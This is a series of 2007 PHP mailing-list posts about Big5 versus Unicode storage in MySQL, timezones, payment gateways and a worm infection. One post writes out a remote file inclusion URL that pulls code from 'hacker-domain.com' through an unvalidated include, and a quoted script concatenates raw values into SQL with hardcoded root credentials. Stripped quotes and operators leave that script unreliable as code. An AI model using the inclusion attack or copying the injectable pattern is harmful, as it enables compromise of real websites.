Re: [PHP] CSS vs. Tables OT
Richard Lynch wrote: On Tue, April 17, 2007 10:15 pm, Paul Novitski wrote: At 4/17/2007 07:53 PM, Robert Cummings wrote: On Tue, 2007-04-17 at 21:28 -0500, Anna V wrote: I've never never had used tables for layouts (I worked on pretty complicated projects)... Heck, http://espn.com is CSS based, and it looks pretty darn amazing. Just my quick thought on this. :) They certainly use CSS AND they use table for the main layout. This site (http://www.soyatec.com/main.php) doesn't seem to use table. At least a simple search of the table keyword in several pages has no result. -- * Zoner PhotoStudio 8 - Your Photos perfect, shared, organised! www.zoner.com/zps You can download your free version. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] 0x9f54 is an invalid Big5 character! (was Re: [PHP] Re: 0x9f54)
OK, I took your problem from the other end. I tried to see what you're trying to store. I entered your 0x9F54 in a text file (using binary editor) and opened it in Firefox. Guess what! When the encoding is set to Big5, I just got a ?. But if I switch to Big5-HKSCS, I've got the 麁 character! Ah! A step backward is thus necessary: let's look at the standard of Big5. I can't find any official website mentioning the Big5 standard. I just found this page which seems good enough for me: http://www.answers.com/topic/big5 Look, your 0x9F54 is in the Reserved zone! It is thus undefined in standard Big5. It's only defined in HK's extended standard! I'm not sure it's a direct cause to your problem, but it's a hint. As a side note, this character (that I've never seen before!) is perfectly defined in Unicode. Again another example to convince you to abandon the dinos..., ahem, legacy Big5 encoding :-) -- * Zoner PhotoStudio 8 - Your Photos perfect, shared, organised! www.zoner.com/zps You can download your free version. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: 0x9f54
OK, I've spent five minutes to try to understand what you're doing.
There're something I don't understand:
1. You use dbase_open(/home/bt/canton.DBF,0);
which seems that you open a database file directly.
Well, I don't do like this. I use mysql_connect(localhost,
username, some_password) but I suppose this isn't important or relevant.
2. You seem to read something from one table and reinject them into some
other table. Am I correct?
Anyway, since I don't have your data, I can't see or guess where the
problem is.
You know what, when you try to ask for help, it's always nice to
just give the reduced and minimalistic test case. I mean, if you're
launching a big trunk of code to others' face and hope they help, don't
be disappointed that they can't help. We're all volunteers and we would
just spend as less time as possible to help others. We're not supposed
to spend a lot of time to solve your problem.
So, tell us what didn't work. Make up a reduced case, eg reduce the
table to just the problem column, show us the problem query. You know,
on doing a reduced case, sometimes you are able to spot the problem
yourself immediately. This is also the way you should learn if you're
to become a real programmer: strict and organized.
I've told you in a previous post but perhaps you didn't catch it.
Try your query in MySQL Query Browser and see if you've got the same
problem first.
HTH
Man-wai Chang wrote:
Well, show us a part of your code. Do var_dump($value) before you
enter it into the database, and see if it still says 0x9f54.
The error:
string(2)
Duplicate entry '' for key 1
?
class MYSQL {
private $fhandle;
var $row;
function MYSQL($host,$db,$usr,$pwd) {
$this-fhandle=new mysqli($host,$usr,$pwd,$db)
or die(mysqli_error($this-fhandle));
$this-query(set names 'big5');
}
function query($sql_str) {
$this-row=mysqli_query($this-fhandle, $sql_str) or
die(mysqli_error($this-fhandle));
}
function affected_rows() {
return mysqli_affected_rows($this-row);
}
function num_rows() {
return mysqli_num_rows($this-row);
}
function fetch_assoc() {
return mysqli_fetch_assoc($this-row);
}
function __destruct() {
mysqli_close($this-fhandle);
}
function begin_tran() {
mysqli_autocommit($this-fhandle, FALSE);
}
function commit() {
mysqli_commit($this-fhandle);
mysqli_autocommit($this-fhandle, TRUE);
}
function rollback() {
mysqli_rollback($this-fhandle);
mysqli_autocommit($this-fhandle, TRUE);
}
}
function showcode($cChar) {
return
[.dechex(ord(substr($cChar,0,1)))...dechex(ord(substr($cChar,1,1))).];
}
$target=new MYSQL(localhost,testing,root,testing);
$fhandle=dbase_open(/home/bt/canton.DBF,0);
if ($fhandle) {
$reccount=dbase_numrecords($fhandle);
echo input count: .$reccount.\n;
$target-query(show tables like 'canton';);
if ($target-num_rows()0)
$target-query(drop table canton);
$target-query(
create table canton (
. big5 char(2) not null,
. thekey char(6),
. canton char(10),
. changjei char(10),
. touched integer,
. primary key (big5)
. ) character set big5;
);
for ($ii=1; $ii=$reccount; $ii++) {
$row=dbase_get_record_with_names($fhandle,$ii);
$ss=$row['BIG5'];
echo var_dump($ss);
$target-query(select * from canton where big5='.$ss.');
$yy = $target-num_rows();
if ($yy0) {
$query=update canton set touched=
. $row[TOUCHED]
. where big5=' . $ss . ';;
}
else {
$query=insert into canton (
. big5,
. thekey,
. changjei,
. canton,
. touched
. ) values (
. '$ss',
. '.$row[THEKEY].',
. '.$row[CHANGJEI].',
. '.$row[CANTON].',
. $row[TOUCHED]
. );;
}
$result=$target-query($query);
if (! $target-row)
echo showcode($ss);
}
$result=$target-query(select count(*) as cnt from canton);
$yy
Re: [PHP] Re: 0x9f54
Man-wai Chang wrote: how do you do string comparison in utf-8? say the user entered a chinese string the browser and you need to search for the string in the MySQL table using PHP. How? Of course in the usual PHP way! (Be warned that we're getting more and more off-topic. This is a PHP forum!) You have to make sure that the following conditions be true: 1. Your database tables are using utf8, at least the column in question. I've noticed that while I use VCHAR(n) as the data type, you simply use CHAR(n) (seen in your test.php.txt file). I'm not MySQL expert, so I don't know the difference between them. Concretely, you're creating a table like this: CREATE TABLE `t1` ( `name` varchar(45) character set utf8 NOT NULL default '', ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci; 2. Everywhere in PHP, you're using UTF-8 to assure a consistency. Avoid making conversion to and from Big5, you'll get yourself trapped sooner or later. 3. In HTML, make sure that you've specified UTF-8 in HTTP header as well as in HTML header. 4. Getting data: the encoding in a URI is implicit, and some stupid/old browser doesn't know how to handle correctly utf-8. So, I'd suggest you to use POST instead of GET to avoid problem in URI encoding. Once all these conditions are unified, you should be able to do something like: SELECT * FROM t1 where name like '%明%'; to search for all strings containing the character 明. As a side note, this query works perfectly even if your strings contains other non Chinese characters. My table t1 contains Gillian Joe, 小明, 陳大明 , François 阿偉 and Emily 明美. You have to make sure that you're communicating this character in UTF-8 instead of Big5 to MySQL. Normally, if you have specified the charset in PHP, it's automatic. Good luck. -- * Zoner PhotoStudio 8 - Your Photos perfect, shared, organised! www.zoner.com/zps You can download your free version. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: PHP Directory List Script Files over 2 GB
Robert M wrote: Does anyone else have any other ideas how to resolve this, I have tried multiple different methods all failed. Does the 2 GB limitation using filesize have an alternate method of producing the output. ? Thank you Logan for trying. I think you'd better file a bug report to PHP. A lot of old/legacy applications were written in the period when Gigabytes is an astronomical number. They're not supposed to support such a big number and need a rewrite. PHP might be in this situation. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: 0x9f54
Man-wai Chang wrote: On the other hand, I remember you talked about the type of that column to be char(2). Have you specified what encoding it's using? Moreover, I hope you're not using legacy encoding like Big5 or GB. Use Unicode (UTF-8) if your database is a brand new one. Unfortunately, I am still using Big5. you need a longer field to store utf-8 codes for the same big5 string right? Yes. While in Big5 every (Chinese) character is represented by two bytes, every Chinese character represented in UTF-8 uses at least three bytes (in rare occasion, 4 bytes, if very rare characters are used such as those in ancient Chinese). This is because UTF-8 is designed to be 8-bit compatible to old data-processing functions. In other words, for a string containing pure Chinese characters, a UTF-8 one is 150% longer than a Big-5 one. You could, of course, use UTF-16 as the base format for your string. In this case, every character is represented by 2 bytes, be it a Western Latin character or an Eastern CJK character. OK, yes, for rare characters, you would use up to 4 bytes, but this is rare. Anyway, you should look at the positive side of using Unicode instead of the dinosaur encoding, sorry, I mean Big5 :p Hard drives (and RAM) nowadays are getting real big, string size should be considered as a first criterion to choose what encoding to use. Unicode is done by an international consortium and it could support most languages in the world. For instance, using Big5, you can't even represent the simplest of Western European characters like in these words: español or français!! But you could represent them using Unicode. Actually, the ability to represent (Western) European characters might not interest you. But using Unicode, you could store both traditional and simplified Chinese! And this, I'm sure you're interested. You can't do that in Big5, I'm 100% sure! Still not convinced yet. Well, Unicode even contains traditional Chinese characters that Big5 doesn't support. For example, a friend on mine has this character 驊 in his first name. This character isn't supported in Big5 and in pre-Unicode period, he had to type (馬華)! Very stupid! Another example: 氹 is quite a common word in southern China but this character can't be found in Big5. So, think about using Unicode. We are in 2007 and be a modern man! -- * Zoner PhotoStudio 8 - Your Photos perfect, shared, organised! www.zoner.com/zps You can download your free version. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: 0x9f54
Seak, Teng-Fong wrote: Anyway, you should look at the positive side of using Unicode instead of the dinosaur encoding, sorry, I mean Big5 :p Hard drives (and RAM) nowadays are getting real big, string size should be I wanted to mean: string size should NOT be considered . :p considered as a first criterion to choose what encoding to use. [snipped] Still not convinced yet. Should be Still not convinced yet? with a question mark :p -- * Zoner PhotoStudio 8 - Your Photos perfect, shared, organised! www.zoner.com/zps You can download your free version. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: 0x9f54
Man-wai Chang wrote: MySQL? MSSQL? PgSQL? Tijnema It seems he wanted to insert a Chinese character with that hex value. Yes... I tried the insert with PHP, including the use of mysql_real_escape_string(), but MySQL still gave me a blank only. Well, this doesn't seem to be PHP related. You'd better ask your answer in MySQL forum/mailing-list. But have you tried to insert your value using MySQL Query Browser? If you can't do that there, it's a problem which is unrelated to PHP. On the other hand, I remember you talked about the type of that column to be char(2). Have you specified what encoding it's using? Moreover, I hope you're not using legacy encoding like Big5 or GB. Use Unicode (UTF-8) if your database is a brand new one. Good luck -- * Zoner PhotoStudio 8 - Your Photos perfect, shared, organised! www.zoner.com/zps You can download your free version. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Timezone offset
Chris wrote: Seak, Teng-Fong wrote: UK's timezone is GMT (+) while most other western European countries like Spain, France, Germany, etc are in GMT +1000. I'm sure you mean +0100 - +10 is Australia and other places ;) Oh yes, of course +0100 instead of +1000. Mistyping on the keypad :p -- * Zoner PhotoStudio 8 - Your Photos perfect, shared, organised! www.zoner.com/zps You can download your free version. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] 0x9f54
Tijnema ! wrote: On 3/29/07, Man-wai Chang [EMAIL PROTECTED] wrote: Anyone knew how to insert this value into a char(2) column? Ok, what are you trying to do? you post a message with a single line, and we need to help you? I don't even think this is PHP related. You are trying to insert it into a database? MySQL? MSSQL? PgSQL? Give us more information, and we might help you :) Tijnema It seems he wanted to insert a Chinese character with that hex value. -- * Zoner PhotoStudio 8 - Your Photos perfect, shared, organised! www.zoner.com/zps You can download your free version. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Timezone offset
Satyam wrote: - Original Message - From: Chris Boget [EMAIL PROTECTED] My server's timezone is set to (GMT) Greenwish Mean Time : Dublin, Edinburgh, Lisbon, London. There you have why, you set it to GreenwiSh, which is kind of Greenwich but not quite. I think that being on the western end of Europe, those countries decided to adopt a more pan-European time zone, even if that does not match precisely their astronomical hour. That makes cross border businesses easier by having common working hours. UK's timezone is GMT (+) while most other western European countries like Spain, France, Germany, etc are in GMT +1000. It might also have to do with whether it is Savings Time or not. This year, we all changed to DST last Sunday morning. -- * Zoner PhotoStudio 8 - Your Photos perfect, shared, organised! www.zoner.com/zps You can download your free version. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: [PHP-WIN] Re: [PHP] Re: Question on virus/worms
Stut wrote: Seak, Teng-Fong wrote: But after I've spent some time reading the log files, I've finally found out how the hackers managed to achieve worm infiltration. Actually, they're using an URL like this: http://my-domain.com/index.php?page=http://hacker-domain.com/some-worm-file.txt? And the some-worm-file.txt file contains some PHP code, while my index.php contains this instruction: include($page.php); This is enough to make infiltration possible! IMO, this instruction is supposed to be used like this, isn't it? So this is obviously a PHP security loophole and I don't see how the poorly written scripts can help anything unless a totally rewrite! And there's no poor server security that I can see. You mean to say that you're not validating what you're getting from the user? Frankly you deserve everything you get. No, I don't deserve anything because, as I've written in the original post (but I suppose you didn't notice), the website is outsourced and made by a 3rd company. I had already spent a lot of time to learn and understand PHP, which normally isn't a part of my job. So, I had already done more than I should. This is *not* a security loophole, it *is* a poorly written script. Well, when something doesn't produce the expected effect/result, or produce a side-effect, it's considered as a bug. If that's not a bug, why would the behaviour be changed from PHP4 to PHP5 then? I've installed PHP5 and the problem seems fixed. However, PHP writes out where the problem occurs! Indeed, the hacker could read a line like this: Warning: include() [function.include]: URL file-access is disabled in the server configuration in C:\Inetpub\wwwroot\index.php on line X I don't want them (the hackers) to be able to read this either. That gives too much information about my server's file system. How can I stop that? Read the manual, specifically the error_reporting part. You can turn the display of these messages off. I had. Well, I had tried to do so, spending time out of my tightly scheduled job planning. By the way, I know there're still a lot of servers out there still using PHP4. Is this vulnerability a known bug? At least, I'm not aware of that before! It's not a bug. It will never be a bug. Yes PHP5 (I believe it's 5.2+) introduces the ability to turn off the ability to prevent this issue, but it's still badly written code. Stop blaming the tool, start blaming the mirror image and start learning how to code defensively. -Stut -- * Zoner PhotoStudio 8 - Your Photos perfect, shared, organised! www.zoner.com/zps You can download your free version. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: [PHP-WIN] Re: [PHP] Re: Question on virus/worms
Seak, Teng-Fong wrote: No, I don't deserve anything because, as I've written in the original post (but I suppose you didn't notice), the website is outsourced and made by a 3rd company. Well, I've just realised (and checked) that I forgot to mention that my company's website was outsourced. I mentioned it in other threads. :p I know ASP and JSP, but not PHP. I've not got much time to invest into this. -- * Zoner PhotoStudio 8 - Your Photos perfect, shared, organised! www.zoner.com/zps You can download your free version. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] php and javascript error
Ed Curtis wrote:
Németh Zoltán wrote:
2007. 03. 7, szerda keltezéssel 10.59-kor Ed Curtis ezt írta:
I've just run into this problem this morning
a href=#
onclick=javascript:window.open('web_forward.php?address=? echo
$web_url; ?agent=? echo $agent; ?real_company_name=? echo
$real_company_name; ?', 'Web Site');
This produces an Error on Page in IE 7, but works perfectly in
Firefox and Netscape.
I have several other javascript calls on the page where this call
resides and all of them work perfectly except for this one. Does
this error occur because I'm sending the variables to another script
that does some logging then forwards the user to the URL or is it
just a IE quirk?
I'm almost sure it has nothing to do with php
rather javascript, and maybe microsoft's special javascript
interpretations...
I know it's not the PHP but rather the JS that's causing it. What I
fail to understand is that there are 2 JS calls before, and 2 JS calls
after this one in my page and the other 4 work perfectly. They are
basically the same call too, just to different scripts. I just
wondered if anyone knew why this particular call doesn't work or had
come across anything like this.
Thanks
Sidenote: In new standard of HTML, it's no longer necessary to write
onclick=javascript:window.open(.
but you could write
onclick=window.open(.
Could you paste the generated code to show us? You could paste it
back to a static page and try again to see what's wrong.
--
* Zoner PhotoStudio 8 - Your Photos perfect, shared, organised!
www.zoner.com/zps
You can download your free version.
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Opinion on on-line payment and banking gateway
I'm not a PHP programmer. I ask this question for a friend of mine. So I'm not sure if I'm using the correct terms. He's making an e-commerce website and he doesn't know much about how to validate credit card, or how to make transactions. What he needs is called banking gateway, right? After some search in php.net, I've found a link to http://www.trustcommerce.com/. Is this what he's looking for? Has anyone here used this? Actually, it doesn't matter to him if such thing isn't open-source or isn't free. What he needs is something that works. Anyone has any opinions or suggestions? Any tutorial to banking gateway? Thanks in advance (in his behalf) :) -- * Zoner PhotoStudio 8 - Your Photos perfect, shared, organised! www.zoner.com/zps You can download your free version. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Opinion on on-line payment and banking gateway
Mark wrote: Seak, Teng-Fong wrote: I'm not a PHP programmer. I ask this question for a friend of mine. So I'm not sure if I'm using the correct terms. He's making an e-commerce website and he doesn't know much about how to validate credit card, or how to make transactions. What he needs is called banking gateway, right? a couple years ago I did some research and while I'm not Sure who the players are right now, I concluded it was not worth the effort. We concluded it was better to subscribe to a credit card clearing service. They provide a basic API that allows you to pass a billing amount to the clearing service who, for a fee or percentage, process the credit card. You never Have to deal with it, they just credit your account and you ship goods. That sounds good. Could I know more about this clearing service? I mean, to whom should my friend contact? Some bank? His company is in Chicago. So, is there any central banking organization in United-States that he should contact? Or some bank in Chicago? Thanks in advance -- * Zoner PhotoStudio 8 - Your Photos perfect, shared, organised! www.zoner.com/zps You can download your free version. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Opinion on on-line payment and banking gateway
Jochem Maas wrote: tell him this: never ever ever ever so much as accept a creditcard number as input to any of his scripts let alone store it somewhere - leave that to the payment provider who has the expertise, secure (hopefully) system and massive liability fund to be able to deal with such things professionally. OK, jotted down. payment provider is probably a more used term. but yes her needs one of those. one example is paypal - there are plenty of others. He's not selling any physical product. He's selling services and on-line videos. So I don't know if PayPal suits his needs. google/yahoo knows more than me :-) Yes, there are quite a lot, but how do we know if such and such site is a real one? Or an honest one? Just like phishing sites are proliferating, I think we'd be careful with anything found in the Net. Don't you agree? -- * Zoner PhotoStudio 8 - Your Photos perfect, shared, organised! www.zoner.com/zps You can download your free version. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Config language support
Why still use Big5, this pre-historical encoding? Come on, we're in the 21st century. You should use Unicode! [EMAIL PROTECTED] wrote: Dear all, How to config the default Character Set and Collation with big5 ? Edward. -- * Zoner PhotoStudio 8 - Your Photos perfect, shared, organised! www.zoner.com/zps You can download your free version. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Config language support
[EMAIL PROTECTED] wrote: Seak, Teng-Fong wrote: Why still use Big5, this pre-historical encoding? Come on, we're in the 21st century. You should use Unicode! Hello, Due to some of DB data still stored with big5... Edward. You could export your data out of your DB, convert them to Unicode (normally in UTF-8), then import them into the DB. This might, at first glance, be overkilling and useless. But in long term, you'll be rid of a lot of problems due to encoding conversions and support to old encodings. And there's an even stronger argument for you in case the previous one can't convince you. Big-5 only supports traditional Chinese characters. As Macao is a part of China, and people tend to use simplified Chinese more and more, you'll sooner or later confront the problem of not being able to support simplified Chinese. Unicode, on the other hand, supports traditional as well as simplified Chinese (and a lot a lot other languages, but you're not concerned in this matter). Unicode is really the way to go in long term. -- * Zoner PhotoStudio 8 - Your Photos perfect, shared, organised! www.zoner.com/zps You can download your free version. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] New Menu Bar - Can people test it for me?
Yup, that's nice. As others had told you, it doesn't work in IE6. On the other hand, the first time your page is loaded (or when the download speed is low), and when the mouse pointer is on General, it takes quite some time to draw the menu bar background. And that gives the feeling that something's wrong ... until ten seconds later when everything is drawn out. I've included an attached image that you could see, hope it's not filtered out by the mailing-list server. You know, you could load those background images first in your page using cache. On Wed, February 21, 2007 6:12 am, Scott Gunn wrote: http://www.thebigspider.co.uk/test/menu.html -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Question on virus/worms
My company's got a web site using PHP. But the server is actually an IIS 5 sitting inside a Win2K server. So naturally, I'm using php dll filter. (Please don't tell me to use Apache because we need IIS for other services). This server also has got an anti-virus installed (McAfee to be exact). Since more than a year, I've got several warnings from McAfee telling me that it was able to catch some virus/worms which were inside the computer. Here're their names: PHP/Chaploit Perl/BackDoor-CXY.gen PHP/BackDoor.gen BackDoor-CUS!php Trojan Do they mean anything to anyone of you? Do you know how they've got inside the computer? Is there anything to do to prevent that? Are they known PHP virus/worms to PHP community? Thanks in advance. Seak -- * Zoner PhotoStudio 8 - Your Photos perfect, shared, organised! www.zoner.com/zps You can download your free version. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
